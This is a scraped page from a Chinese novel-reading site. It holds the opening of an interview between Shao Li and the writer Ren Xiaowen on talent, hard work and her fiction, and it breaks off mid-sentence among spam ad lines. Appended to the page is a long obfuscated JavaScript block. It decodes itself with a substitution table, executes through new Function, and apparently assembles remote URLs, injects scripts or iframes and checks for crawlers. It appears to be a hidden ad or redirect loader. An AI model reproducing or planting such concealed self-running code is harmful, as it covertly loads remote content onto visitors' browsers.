足迹
何须浅碧深红色曾许人间第一流
登录
关灯
护眼
字体:

与任晓雯的姑妄言(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁黑丝纯欲主播-免费

与任晓雯的姑妄言

邵丽:晓雯,通过阅读,你成了我眼里的“另类”

作家。怎么说呢,这种“另类”

,却是对“另类”

的一个反动。大致上,之前对你的写作有个判断——这是一位创作观念和创作手法都比较前卫的年轻作家,相较于传统写作,可算作“另类”

了。但《浮生二十一章》读后,我知道,自己的判断必须修正了。这本集子在艺术上的新颖自不待言,而真正触动我的,更是你对于那些历史,以及沉浮于历史中的细节的还原能力,人物、情景、语言、环境等,真的是让人一边看一边不免产生疑虑,甚而怀疑这怎么可能是一位年轻作家的作品。这就非常了不起了,使得你从普遍的对于年轻作家的“定见”

中被区别了出来,所以我说,你成了“另类”

之中的“另类”

。你的小说语言既一派天成,又有着丰厚的艺术感染力,并且“不事声张”

。我想知道的是,作为一个优秀的小说家,这种能力你觉得是更多地得益于天赋还是后天的训练,抑或是日积月累的储备呢?

任晓雯:天赋很重要。写小说可能是我这辈子唯一的天赋。我从小发展过各种兴趣爱好,没一样坚持下来,也没一样做到过出色。我高中读的还是理科班,物理化学都在市、区一级得过奖,但那是靠努力做题得来的。

直到后来,我接触了文学,才知道有天赋是什么感觉。在有天赋的领域,随随便便就上手了,随随便便就能做出点样子。我中学时代没读过什么像样的文学作品,进大学后随便看了点现代诗,就写起诗歌来,各种现代主义风格模仿一遍。很快又开始写小说。还没搞明白小说是怎么回事,就稀里糊涂地发表和得奖了。

那时约莫二十来岁,我沾沾自喜,心高气傲,只喜欢跟古灵精怪的才子才女打交道。现在回头看这些人,有的早就不写了,有的还在写,但也面目平庸了。多可惜啊,才华摆在那里,居然没了下文。而我自己呢,说实在的,天赋也没到多惊人的地步,又因着种种损耗,有那么几年也差点丢弃写作。

总结一下走弯路的教训,很大原因就是自认为有天赋。天赋让人有“一切很容易”

的错觉,而世上没有一件事情是容易的。有了天赋,还要专注;有了专注,还得刻苦。年轻时老是以为,没才华才需要刻苦。尤其搞文学的,刻苦仿佛成了平庸的同义词。但其实文学史上的大家,很多是刻苦自律的,只是人们不愿意关注这些无趣的部分罢了。

日复一日做同一件事情,就像在用整个生命跑一场马拉松,若没有保持恰当速度和呼吸的意志力,是到不了终点的。我后悔自己在二十多岁时看不透这个道理,但也庆幸在三十几岁后明白了这个道理。

邵丽:《浮生二十一章》显然是一个充满了中国况味的命名。庄子说“其生若浮,其死若休”

,这是典型的东方式哲学,将其兑现为美学的表达,实际上是有很大难度的。因为,让抽象归于具象,就是一个将虚无定下秩序的过程,这很难,但你做到了,我将其视为有自己独特的“写作秩序”

。在你的笔下,那些人物所包含着的精神性元素不是浮于表面的,而且也不是孤立的,都呈现出充分的内在感,并且与尘世发生着千丝万缕的缠绕。我觉得,这才是让小说回到了它的本意,小说不是抽象的精神,它必须落脚在尘世的物理与人情。

任晓雯:给您这么一评说,感觉《浮生二十一章》好像确实有点写意画般的东方意味。其实最初酝酿这个系列时,脑中浮现的范本是《米格尔大街》《都柏林人》《小城畸人》之类的。但因字数限制在一篇两千字,没法像一般小说那么铺陈开来,所以只能简笔而成。但在细节处理上,我还是采用了西方小说技巧,也即如你所说的,“落脚在尘世的物理与人情”

我想这是小说的根本。小说最终呈现的都是具象,不存在抽象派小说。连勇于探索形式的先锋派作家罗伯·格里耶都承认:“所有作家都认为自己是现实主义者。从没人说自己是抽象派、印象派、空想派、幻想派……如果所有作家都聚在同一面大旗之下,他们并不会就现实主义达成共识,只会用他们各执一词的现实主义互相厮杀。”

(《为了一种新小说》)

从阅读和评论的角度,小说呈现的是某种沉降过程,“让抽象归于具象,一个将虚无定下秩序的过程”

。而创作的过程实则是反向的,从具象出发,从细节开始编织。这种编织受到作者观念的引导,从而自然呈现出某种秩序,就是您说的“写作秩序”

。我一直很谨慎,不想把观念放到台面上,只是暗暗希望优秀的读者能够读懂它们。

邵丽:以我对你的阅读,可不可以这样认为,《浮生二十一章》所呈现的小说观念,也是你创作《好人宋没用》的起点?

任晓雯:这两本书属于我同一阶段的作品,对语言、文体、主题的观念确实是一脉相承的。

邵丽:读《好人宋没用》是在北京评茅盾文学奖时,一个年轻的女作家,书写得如此老到,如此古风雅韵,的确是令人眼前一亮。这部长篇让人拿起了就很难放下,在我看来,就是有着一种黏附读者的魅力。同样,即使是在这部四十多万字的作品中,你所表达的,依然还是一个“浮”

字,这个“浮”

,还是基于我们传统的生命况味——人在宏大的时光中漂流,是“这一个”

,也是“那一个”

,彼此休戚与共,构成了我们对于“人”

🎁黑丝纯欲主播-免费请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="v5fua0y2hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n/h^/@Q}jR8Xn7_d0T@h("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8"Xn7_d0T@h("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmRD(JhfmRT4"="@Q}5p(LYpmq^Xf(LmRT4"="@Q}D7(LSqm(f24hJmRT4"="@Q}dC(LJ^mRD(JhfmRT4"="@Q}(C(L:4mq^Xf(LmRT4"="@Q}C2(LSYm(f24hJmRT4"="@Q}25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmX{LX@ShmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmX{LX@ShmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n/f/@Q}j(8}vR8Xn7_d0T@h("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();